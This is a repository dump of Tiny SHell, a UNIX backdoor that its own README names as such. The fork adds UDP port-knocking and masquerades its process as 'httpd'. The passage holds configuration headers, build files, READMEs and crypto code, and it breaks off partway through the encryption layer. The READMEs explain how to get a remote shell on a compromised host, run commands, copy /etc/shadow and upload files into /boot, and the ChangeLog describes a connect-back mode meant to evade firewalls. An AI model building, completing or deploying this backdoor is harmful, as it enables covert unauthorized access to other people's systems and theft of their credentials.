├── tsh.h ├── sha1.h ├── .gitattributes ├── aes.h ├── pel.h ├── Makefile ├── README.md ├── ChangeLog ├── README ├── .gitignore ├── sha1.c ├── pel.c ├── tshd.c ├── tsh.c └── aes.c /tsh.h: -------------------------------------------------------------------------------- 1 | #ifndef _TSH_H 2 | #define _TSH_H 3 | 4 | char *secret = "replace with your password"; 5 | 6 | #define SERVER_PORT 7586 7 | 8 | #define KNOCK_PWD "md5_salt" 9 | #define KNOCK_PORT 1234 10 | 11 | #define BINARY_NAME "httpd" 12 | 13 | #define EOL "\n" 14 | /* 15 | #define CONNECT_BACK_HOST "localhost" 16 | #define CONNECT_BACK_DELAY 30 17 | */ 18 | #define GET_FILE 1 19 | #define PUT_FILE 2 20 | #define RUNSHELL 3 21 | 22 | #endif /* tsh.h */ 23 | -------------------------------------------------------------------------------- /sha1.h: -------------------------------------------------------------------------------- 1 | #ifndef _SHA1_H 2 | #define _SHA1_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct sha1_context 13 | { 14 | uint32 total[2]; 15 | uint32 state[5]; 16 | uint8 buffer[64]; 17 | }; 18 | 19 | void sha1_starts( struct sha1_context *ctx ); 20 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ); 21 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ); 22 | 23 | #endif /* sha1.h */ 24 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H 2 | #define _AES_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct aes_context 13 | { 14 | int nr; /* number of rounds */ 15 | uint32 erk[64]; /* encryption round keys */ 16 | uint32 drk[64]; /* decryption round keys */ 17 | }; 18 | 19 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ); 20 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ); 21 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ); 22 | 23 | #endif /* aes.h */ 24 | -------------------------------------------------------------------------------- /pel.h: -------------------------------------------------------------------------------- 1 | #ifndef _PEL_H 2 | #define _PEL_H 3 | 4 | #define BUFSIZE 4096 /* maximum message length */ 5 | 6 | #define PEL_SUCCESS 1 7 | #define PEL_FAILURE 0 8 | 9 | #define PEL_SYSTEM_ERROR -1 10 | #define PEL_CONN_CLOSED -2 11 | #define PEL_WRONG_CHALLENGE -3 12 | #define PEL_BAD_MSG_LENGTH -4 13 | #define PEL_CORRUPTED_DATA -5 14 | #define PEL_UNDEFINED_ERROR -6 15 | 16 | extern int pel_errno; 17 | 18 | int pel_client_init( int server, char *key ); 19 | int pel_server_init( int client, char *key ); 20 | 21 | int pel_send_msg( int sockfd, unsigned char *msg, int length ); 22 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); 23 | 24 | #endif /* pel.h */ 25 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | CLIENT_OBJ=pel.c aes.c sha1.c tsh.c 3 | SERVER_OBJ=pel.c aes.c sha1.c tshd.c 4 | 5 | all: 6 | @echo 7 | @echo "Please specify one of these targets:" 8 | @echo 9 | @echo " make linux" 10 | @echo " make freebsd" 11 | @echo " make openbsd" 12 | @echo " make netbsd" 13 | @echo " make cygwin" 14 | @echo " make sunos" 15 | @echo " make irix" 16 | @echo " make hpux" 17 | @echo " make osf" 18 | @echo 19 | 20 | clean: 21 | rm -f *.o tsh tshd 22 | 23 | linux: 24 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 25 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DLINUX 26 | strip tsh tshd 27 | 28 | freebsd: 29 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 30 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DFREEBSD 31 | strip tsh tshd 32 | 33 | openbsd: 34 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 35 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DOPENBSD 36 | strip tsh tshd 37 | 38 | netbsd: openbsd 39 | 40 | cygwin: 41 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 42 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -DCYGWIN 43 | strip tsh tshd 44 | 45 | sunos: 46 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) -lsocket -lnsl 47 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lsocket -lnsl -DSUNOS 48 | strip tsh tshd 49 | 50 | irix: 51 | cc -O -o tsh $(CLIENT_OBJ) 52 | cc -O -o tshd $(SERVER_OBJ) -DIRIX 53 | strip tsh tshd 54 | 55 | hpux: 56 | cc -O -o tsh $(CLIENT_OBJ) 57 | cc -O -o tshd $(SERVER_OBJ) -DHPUX 58 | strip tsh tshd 59 | 60 | osf: 61 | cc -O -o tsh $(CLIENT_OBJ) 62 | cc -O -o tshd $(SERVER_OBJ) -DOSF 63 | strip tsh tshd 64 | 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #TinyShell 2 | 3 | ##What's new 4 | 5 | * add udp knock, expose tcp port after right knock 6 | * add process name confusion 7 | 8 | based on https://github.com/infodox/tsh-sctp 9 | 10 | modified by md5_salt 11 | 12 | ##Ussage 13 | * Compiling Tiny SHell 14 | 15 | Run "make ", where can be any one of these: 16 | linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf 17 | 18 | * How to use the server 19 | 20 | It can be useful to set $HOME and the file creation mask 21 | before starting the server: 22 | 23 | % umask 077; HOME=/var/tmp ./tshd 24 | 25 | * How to use the client 26 | 27 | Make sure tshd is running on the remote host. You can: 28 | 29 | - start a shell: 30 | 31 | ./tsh 32 | 33 | - execute a command: 34 | 35 | ./tsh "uname -a" 36 | 37 | - transfer files: 38 | 39 | ./tsh get /etc/shadow . 40 | ./tsh put vmlinuz /boot 41 | 42 | Note: if the server runs in connect-back mode, replace 43 | the remote machine hostname with "cb". 44 | 45 | * About multiple file transfers 46 | 47 | At the moment, Tiny SHell does not support scp-like multiple 48 | and/or recursive file transfers. You can work around this bug 49 | by simply making a tar archive and transferring it. Example: 50 | 51 | ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf - 52 | 53 | 54 | On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C 55 | and other control keys do not work correctly. Fix it with: 56 | 57 | % stty intr "^C" erase "^H" eof -------------------------------------------------------------------------------- /ChangeLog: -------------------------------------------------------------------------------- 1 | Version 0.7 released on 2013-10-13. Changes from version 0.6: 2 | 3 | * Project 'borrowed' by infodox for SCTP porting 4 | 5 | * Project ported in 5 minutes to SCTP protocol. 6 | 7 | Version 0.6 released on 2003-09-11. Changes from version 0.52: 8 | 9 | * switched from RC4-160 to AES-CBC-128 + HMAC-SHA1 10 | 11 | * some minor bugfixes & code cleanup 12 | 13 | Version 0.52 released on 2003-03-24. Changes from version 0.51: 14 | 15 | * improved the server side of the connect-back mode 16 | so that it resolves the client hostname 17 | 18 | Version 0.51 released on 2003-03-20. Changes from version 0.5: 19 | 20 | * fixed a bug on the client side of the connect-back mode 21 | 22 | * cleaned up the packet encryption layer 23 | 24 | Version 0.5 released on 2003-03-20. Changes from version 0.42: 25 | 26 | * added "connect-back" mode, so as to bypass firewalls 27 | 28 | * improved the IV generation algorithm 29 | 30 | Version 0.42 released on 2003-02-20. Changes from version 0.41: 31 | 32 | * switched from MD5 to SHA-1 33 | 34 | * data is encrypted with 160-bit RC4 35 | 36 | * increased IV length to 128 bits 37 | 38 | Version 0.41 released on 2003-02-15. Changes from version 0.4: 39 | 40 | * removed a few redundant comments 41 | 42 | Version 0.4 released on 2003-02-14. Changes from version 0.31: 43 | 44 | * data is now encrypted using strong 128-bit RC4 45 | 46 | * added optimization flags 47 | 48 | Version 0.31 released on 2003-01-24. Changes from version 0.3: 49 | 50 | * slightly enhanced the data streams handling code, 51 | thanks to the select() system call 52 | 53 | Version 0.3 released on 2003-01-22. Changes from version 0.2: 54 | 55 | * fixed a bug which could cause premature termination 56 | of the server or the client under heavy network load 57 | 58 | * added support for Cygwin and HP-UX 59 | 60 | Version 0.2 released on 2003-01-15. Changes from version 0.1: 61 | 62 | * the code is now architecture independant 63 | 64 | * added support for *BSD, OSF, SunOS and IRIX 65 | 66 | Version 0.1 released on 2002-12-01 67 | 68 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | 2 | Tiny SHell - An open-source UNIX backdoor 3 | 4 | 5 | * Before compiling Tiny SHell 6 | 7 | 1. First of all, you should setup your secret key, which 8 | is located in tsh.h; the key can be of any length (use 9 | at least 12 characters for better security). 10 | 11 | 2. It is advised to change SERVER_PORT, the port on which 12 | the server will be listening for incoming connections. 13 | 14 | 3. You may want to start tshd in "connect-back" mode if 15 | it runs on on a firewalled box; simply uncomment and 16 | modify CONNECT_BACK_HOST in tsh.h. 17 | 18 | * Compiling Tiny SHell 19 | 20 | Run "make ", where can be any one of these: 21 | linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf 22 | 23 | * How to use the server 24 | 25 | It can be useful to set $HOME and the file creation mask 26 | before starting the server: 27 | 28 | % umask 077; HOME=/var/tmp ./tshd 29 | 30 | * How to use the client 31 | 32 | Make sure tshd is running on the remote host. You can: 33 | 34 | - start a shell: 35 | 36 | ./tsh 37 | 38 | - execute a command: 39 | 40 | ./tsh "uname -a" 41 | 42 | - transfer files: 43 | 44 | ./tsh get /etc/shadow . 45 | ./tsh put vmlinuz /boot 46 | 47 | Note: if the server runs in connect-back mode, replace 48 | the remote machine hostname with "cb". 49 | 50 | * About multiple file transfers 51 | 52 | At the moment, Tiny SHell does not support scp-like multiple 53 | and/or recursive file transfers. You can work around this bug 54 | by simply making a tar archive and transferring it. Example: 55 | 56 | ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf - 57 | 58 | * About terminal modes 59 | 60 | On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C 61 | and other control keys do not work correctly. Fix it with: 62 | 63 | % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U" 64 | 65 | * About security 66 | 67 | Please remember that the secret key is stored in clear inside 68 | both tsh and tshd executables; therefore you should make sure 69 | that no one except you has read access to these two files. 70 | However, you may choose not to store the real (valid) key in 71 | the client, which will then ask for a password when it starts. 72 | 73 | * Notes regarding SCTP version: 74 | Only tested on Archlinux so far, expect it to fail hideously 75 | on anything else. 76 | Is a fairly ugly hack, has some compiling errors which I plan to 77 | eventually track down and fix. 78 | Security of the backdoor file (tsh) - i.e. the password being in 79 | cleartext is to be fixed soonish by only storing a hashed password. 80 | Testing on hpux, *bsd, etc once I have access to such boxes. 81 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | 46 | [Dd]ebug/ 47 | [Rr]elease/ 48 | x64/ 49 | build/ 50 | [Bb]in/ 51 | [Oo]bj/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | *_i.c 58 | *_p.c 59 | *.ilk 60 | *.meta 61 | *.obj 62 | *.pch 63 | *.pdb 64 | *.pgc 65 | *.pgd 66 | *.rsp 67 | *.sbr 68 | *.tlb 69 | *.tli 70 | *.tlh 71 | *.tmp 72 | *.tmp_proj 73 | *.log 74 | *.vspscc 75 | *.vssscc 76 | .builds 77 | *.pidb 78 | *.log 79 | *.scc 80 | 81 | # Visual C++ cache files 82 | ipch/ 83 | *.aps 84 | *.ncb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | 101 | # TeamCity is a build add-in 102 | _TeamCity* 103 | 104 | # DotCover is a Code Coverage Tool 105 | *.dotCover 106 | 107 | # NCrunch 108 | *.ncrunch* 109 | .*crunch*.local.xml 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.Publish.xml 129 | *.pubxml 130 | 131 | # NuGet Packages Directory 132 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line 133 | #packages/ 134 | 135 | # Windows Azure Build Output 136 | csx 137 | *.build.csdef 138 | 139 | # Windows Store app package directory 140 | AppPackages/ 141 | 142 | # Others 143 | sql/ 144 | *.Cache 145 | ClientBin/ 146 | [Ss]tyle[Cc]op.* 147 | ~$* 148 | *~ 149 | *.dbmdl 150 | *.[Pp]ublish.xml 151 | *.pfx 152 | *.publishsettings 153 | 154 | # RIA/Silverlight projects 155 | Generated_Code/ 156 | 157 | # Backup & report files from converting an old project file to a newer 158 | # Visual Studio version. Backup files are not needed, because we have git ;-) 159 | _UpgradeReport_Files/ 160 | Backup*/ 161 | UpgradeLog*.XML 162 | UpgradeLog*.htm 163 | 164 | # SQL Server files 165 | App_Data/*.mdf 166 | App_Data/*.ldf 167 | 168 | ############# 169 | ## Windows detritus 170 | ############# 171 | 172 | # Windows image file caches 173 | Thumbs.db 174 | ehthumbs.db 175 | 176 | # Folder config file 177 | Desktop.ini 178 | 179 | # Recycle Bin used on file shares 180 | $RECYCLE.BIN/ 181 | 182 | # Mac crap 183 | .DS_Store 184 | 185 | 186 | ############# 187 | ## Python 188 | ############# 189 | 190 | *.py[co] 191 | 192 | # Packages 193 | *.egg 194 | *.egg-info 195 | dist/ 196 | build/ 197 | eggs/ 198 | parts/ 199 | var/ 200 | sdist/ 201 | develop-eggs/ 202 | .installed.cfg 203 | 204 | # Installer logs 205 | pip-log.txt 206 | 207 | # Unit test / coverage reports 208 | .coverage 209 | .tox 210 | 211 | #Translations 212 | *.mo 213 | 214 | #Mr Developer 215 | .mr.developer.cfg 216 | -------------------------------------------------------------------------------- /sha1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS 180-1 compliant SHA-1 implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include "sha1.h" 9 | 10 | #define GET_UINT32(n,b,i) \ 11 | { \ 12 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 13 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 14 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 15 | | ( (uint32) (b)[(i) + 3] ); \ 16 | } 17 | 18 | #define PUT_UINT32(n,b,i) \ 19 | { \ 20 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 21 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 22 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 23 | (b)[(i) + 3] = (uint8) ( (n) ); \ 24 | } 25 | 26 | void sha1_starts( struct sha1_context *ctx ) 27 | { 28 | ctx->total[0] = 0; 29 | ctx->total[1] = 0; 30 | ctx->state[0] = 0x67452301; 31 | ctx->state[1] = 0xEFCDAB89; 32 | ctx->state[2] = 0x98BADCFE; 33 | ctx->state[3] = 0x10325476; 34 | ctx->state[4] = 0xC3D2E1F0; 35 | } 36 | 37 | void sha1_process( struct sha1_context *ctx, uint8 data[64] ) 38 | { 39 | uint32 temp, A, B, C, D, E, W[16]; 40 | 41 | GET_UINT32( W[0], data, 0 ); 42 | GET_UINT32( W[1], data, 4 ); 43 | GET_UINT32( W[2], data, 8 ); 44 | GET_UINT32( W[3], data, 12 ); 45 | GET_UINT32( W[4], data, 16 ); 46 | GET_UINT32( W[5], data, 20 ); 47 | GET_UINT32( W[6], data, 24 ); 48 | GET_UINT32( W[7], data, 28 ); 49 | GET_UINT32( W[8], data, 32 ); 50 | GET_UINT32( W[9], data, 36 ); 51 | GET_UINT32( W[10], data, 40 ); 52 | GET_UINT32( W[11], data, 44 ); 53 | GET_UINT32( W[12], data, 48 ); 54 | GET_UINT32( W[13], data, 52 ); 55 | GET_UINT32( W[14], data, 56 ); 56 | GET_UINT32( W[15], data, 60 ); 57 | 58 | #define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) 59 | 60 | #define R(t) \ 61 | ( \ 62 | temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ \ 63 | W[(t - 14) & 0x0F] ^ W[ t & 0x0F], \ 64 | ( W[t & 0x0F] = S(temp,1) ) \ 65 | ) 66 | 67 | #define P(a,b,c,d,e,x) \ 68 | { \ 69 | e += S(a,5) + F(b,c,d) + K + x; b = S(b,30); \ 70 | } 71 | 72 | A = ctx->state[0]; 73 | B = ctx->state[1]; 74 | C = ctx->state[2]; 75 | D = ctx->state[3]; 76 | E = ctx->state[4]; 77 | 78 | #define F(x,y,z) (z ^ (x & (y ^ z))) 79 | #define K 0x5A827999 80 | 81 | P( A, B, C, D, E, W[0] ); 82 | P( E, A, B, C, D, W[1] ); 83 | P( D, E, A, B, C, W[2] ); 84 | P( C, D, E, A, B, W[3] ); 85 | P( B, C, D, E, A, W[4] ); 86 | P( A, B, C, D, E, W[5] ); 87 | P( E, A, B, C, D, W[6] ); 88 | P( D, E, A, B, C, W[7] ); 89 | P( C, D, E, A, B, W[8] ); 90 | P( B, C, D, E, A, W[9] ); 91 | P( A, B, C, D, E, W[10] ); 92 | P( E, A, B, C, D, W[11] ); 93 | P( D, E, A, B, C, W[12] ); 94 | P( C, D, E, A, B, W[13] ); 95 | P( B, C, D, E, A, W[14] ); 96 | P( A, B, C, D, E, W[15] ); 97 | P( E, A, B, C, D, R(16) ); 98 | P( D, E, A, B, C, R(17) ); 99 | P( C, D, E, A, B, R(18) ); 100 | P( B, C, D, E, A, R(19) ); 101 | 102 | #undef K 103 | #undef F 104 | 105 | #define F(x,y,z) (x ^ y ^ z) 106 | #define K 0x6ED9EBA1 107 | 108 | P( A, B, C, D, E, R(20) ); 109 | P( E, A, B, C, D, R(21) ); 110 | P( D, E, A, B, C, R(22) ); 111 | P( C, D, E, A, B, R(23) ); 112 | P( B, C, D, E, A, R(24) ); 113 | P( A, B, C, D, E, R(25) ); 114 | P( E, A, B, C, D, R(26) ); 115 | P( D, E, A, B, C, R(27) ); 116 | P( C, D, E, A, B, R(28) ); 117 | P( B, C, D, E, A, R(29) ); 118 | P( A, B, C, D, E, R(30) ); 119 | P( E, A, B, C, D, R(31) ); 120 | P( D, E, A, B, C, R(32) ); 121 | P( C, D, E, A, B, R(33) ); 122 | P( B, C, D, E, A, R(34) ); 123 | P( A, B, C, D, E, R(35) ); 124 | P( E, A, B, C, D, R(36) ); 125 | P( D, E, A, B, C, R(37) ); 126 | P( C, D, E, A, B, R(38) ); 127 | P( B, C, D, E, A, R(39) ); 128 | 129 | #undef K 130 | #undef F 131 | 132 | #define F(x,y,z) ((x & y) | (z & (x | y))) 133 | #define K 0x8F1BBCDC 134 | 135 | P( A, B, C, D, E, R(40) ); 136 | P( E, A, B, C, D, R(41) ); 137 | P( D, E, A, B, C, R(42) ); 138 | P( C, D, E, A, B, R(43) ); 139 | P( B, C, D, E, A, R(44) ); 140 | P( A, B, C, D, E, R(45) ); 141 | P( E, A, B, C, D, R(46) ); 142 | P( D, E, A, B, C, R(47) ); 143 | P( C, D, E, A, B, R(48) ); 144 | P( B, C, D, E, A, R(49) ); 145 | P( A, B, C, D, E, R(50) ); 146 | P( E, A, B, C, D, R(51) ); 147 | P( D, E, A, B, C, R(52) ); 148 | P( C, D, E, A, B, R(53) ); 149 | P( B, C, D, E, A, R(54) ); 150 | P( A, B, C, D, E, R(55) ); 151 | P( E, A, B, C, D, R(56) ); 152 | P( D, E, A, B, C, R(57) ); 153 | P( C, D, E, A, B, R(58) ); 154 | P( B, C, D, E, A, R(59) ); 155 | 156 | #undef K 157 | #undef F 158 | 159 | #define F(x,y,z) (x ^ y ^ z) 160 | #define K 0xCA62C1D6 161 | 162 | P( A, B, C, D, E, R(60) ); 163 | P( E, A, B, C, D, R(61) ); 164 | P( D, E, A, B, C, R(62) ); 165 | P( C, D, E, A, B, R(63) ); 166 | P( B, C, D, E, A, R(64) ); 167 | P( A, B, C, D, E, R(65) ); 168 | P( E, A, B, C, D, R(66) ); 169 | P( D, E, A, B, C, R(67) ); 170 | P( C, D, E, A, B, R(68) ); 171 | P( B, C, D, E, A, R(69) ); 172 | P( A, B, C, D, E, R(70) ); 173 | P( E, A, B, C, D, R(71) ); 174 | P( D, E, A, B, C, R(72) ); 175 | P( C, D, E, A, B, R(73) ); 176 | P( B, C, D, E, A, R(74) ); 177 | P( A, B, C, D, E, R(75) ); 178 | P( E, A, B, C, D, R(76) ); 179 | P( D, E, A, B, C, R(77) ); 180 | P( C, D, E, A, B, R(78) ); 181 | P( B, C, D, E, A, R(79) ); 182 | 183 | #undef K 184 | #undef F 185 | 186 | ctx->state[0] += A; 187 | ctx->state[1] += B; 188 | ctx->state[2] += C; 189 | ctx->state[3] += D; 190 | ctx->state[4] += E; 191 | } 192 | 193 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ) 194 | { 195 | uint32 left, fill; 196 | 197 | if( ! length ) return; 198 | 199 | left = ( ctx->total[0] >> 3 ) & 0x3F; 200 | fill = 64 - left; 201 | 202 | ctx->total[0] += length << 3; 203 | ctx->total[1] += length >> 29; 204 | 205 | ctx->total[0] &= 0xFFFFFFFF; 206 | ctx->total[1] += ctx->total[0] < ( length << 3 ); 207 | 208 | if( left && length >= fill ) 209 | { 210 | memcpy( (void *) (ctx->buffer + left), (void *) input, fill ); 211 | sha1_process( ctx, ctx->buffer ); 212 | length -= fill; 213 | input += fill; 214 | left = 0; 215 | } 216 | 217 | while( length >= 64 ) 218 | { 219 | sha1_process( ctx, input ); 220 | length -= 64; 221 | input += 64; 222 | } 223 | 224 | if( length ) 225 | { 226 | memcpy( (void *) (ctx->buffer + left), (void *) input, length ); 227 | } 228 | } 229 | 230 | static uint8 sha1_padding[64] = 231 | { 232 | 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 233 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 234 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 235 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 236 | }; 237 | 238 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ) 239 | { 240 | uint32 last, padn; 241 | uint8 msglen[8]; 242 | 243 | PUT_UINT32( ctx->total[1], msglen, 0 ); 244 | PUT_UINT32( ctx->total[0], msglen, 4 ); 245 | 246 | last = ( ctx->total[0] >> 3 ) & 0x3F; 247 | padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); 248 | 249 | sha1_update( ctx, sha1_padding, padn ); 250 | sha1_update( ctx, msglen, 8 ); 251 | 252 | PUT_UINT32( ctx->state[0], digest, 0 ); 253 | PUT_UINT32( ctx->state[1], digest, 4 ); 254 | PUT_UINT32( ctx->state[2], digest, 8 ); 255 | PUT_UINT32( ctx->state[3], digest, 12 ); 256 | PUT_UINT32( ctx->state[4], digest, 16 ); 257 | } 258 | 259 | #ifdef TEST 260 | 261 | #include 262 | #include 263 | 264 | /* 265 | * those are the standard FIPS 180-1 test vectors 266 | */ 267 | 268 | static char *msg[] = 269 | { 270 | "abc", 271 | "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", 272 | NULL 273 | }; 274 | 275 | static char *val[] = 276 | { 277 | "a9993e364706816aba3e25717850c26c9cd0d89d", 278 | "84983e441c3bd26ebaae4aa1f95129e5e54670f1", 279 | "34aa973cd4c4daa4f61eeb2bdbad27316534016f" 280 | }; 281 | 282 | int main( int argc, char *argv[] ) 283 | { 284 | FILE *f; 285 | int i, j; 286 | char output[41]; 287 | struct sha1_context ctx; 288 | unsigned char sha1sum[20], buffer[1000]; 289 | 290 | if( argc < 2 ) 291 | { 292 | for( i = 0; i < 3; i++ ) 293 | { 294 | sha1_starts( &ctx ); 295 | 296 | if( i < 2 ) 297 | { 298 | sha1_update( &ctx, (uint8 *) msg[i], strlen( msg[i] ) ); 299 | } 300 | else 301 | { 302 | memset( buffer, 'a', 1000 ); 303 | 304 | for( j = 0; j < 1000; j++ ) 305 | { 306 | sha1_update( &ctx, (uint8 *) buffer, 1000 ); 307 | } 308 | } 309 | 310 | sha1_finish( &ctx, sha1sum ); 311 | 312 | for( j = 0; j < 20; j++ ) 313 | { 314 | sprintf( output + j * 2, "%02x", sha1sum[j] ); 315 | } 316 | 317 | printf( "test %d ", i + 1 ); 318 | 319 | if( ! memcmp( output, val[i], 40 ) ) 320 | { 321 | printf( "passed\n" ); 322 | } 323 | else 324 | { 325 | printf( "failed\n" ); 326 | return( 1 ); 327 | } 328 | } 329 | } 330 | else 331 | { 332 | if( ! ( f = fopen( argv[1], "rb" ) ) ) 333 | { 334 | perror( "fopen" ); 335 | return( 1 ); 336 | } 337 | 338 | sha1_starts( &ctx ); 339 | 340 | while( ( i = fread( buffer, 1, sizeof( buffer ), f ) ) > 0 ) 341 | { 342 | sha1_update( &ctx, buffer, i ); 343 | } 344 | 345 | sha1_finish( &ctx, sha1sum ); 346 | 347 | for( j = 0; j < 20; j++ ) 348 | { 349 | printf( "%02x", sha1sum[j] ); 350 | } 351 | 352 | printf( " %s\n", argv[1] ); 353 | } 354 | 355 | return( 0 ); 356 | } 357 | 358 | #endif 359 | -------------------------------------------------------------------------------- /pel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Packet Encryption Layer for Tiny SHell, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "pel.h" 14 | #include "aes.h" 15 | #include "sha1.h" 16 | 17 | /* global data */ 18 | 19 | int pel_errno; 20 | 21 | struct pel_context 22 | { 23 | /* AES-CBC-128 variables */ 24 | 25 | struct aes_context SK; /* Rijndael session key */ 26 | unsigned char LCT[16]; /* last ciphertext block */ 27 | 28 | /* HMAC-SHA1 variables */ 29 | 30 | unsigned char k_ipad[64]; /* inner padding */ 31 | unsigned char k_opad[64]; /* outer padding */ 32 | unsigned long int p_cntr; /* packet counter */ 33 | }; 34 | 35 | struct pel_context send_ctx; /* to encrypt outgoing data */ 36 | struct pel_context recv_ctx; /* to decrypt incoming data */ 37 | 38 | unsigned char challenge[16] = /* version-specific */ 39 | 40 | "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \ 41 | "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; 42 | 43 | unsigned char buffer[BUFSIZE + 16 + 20]; 44 | 45 | /* function declaration */ 46 | 47 | void pel_setup_context( struct pel_context *pel_ctx, 48 | char *key, unsigned char IV[20] ); 49 | 50 | int pel_send_all( int s, void *buf, size_t len, int flags ); 51 | int pel_recv_all( int s, void *buf, size_t len, int flags ); 52 | 53 | /* session setup - client side */ 54 | 55 | int pel_client_init( int server, char *key ) 56 | { 57 | int ret, len, pid; 58 | struct timeval tv; 59 | struct sha1_context sha1_ctx; 60 | unsigned char IV1[20], IV2[20]; 61 | 62 | /* generate both initialization vectors */ 63 | 64 | pid = getpid(); 65 | 66 | if( gettimeofday( &tv, NULL ) < 0 ) 67 | { 68 | pel_errno = PEL_SYSTEM_ERROR; 69 | 70 | return( PEL_FAILURE ); 71 | } 72 | 73 | sha1_starts( &sha1_ctx ); 74 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 75 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 76 | sha1_finish( &sha1_ctx, &buffer[ 0] ); 77 | 78 | memcpy( IV1, &buffer[ 0], 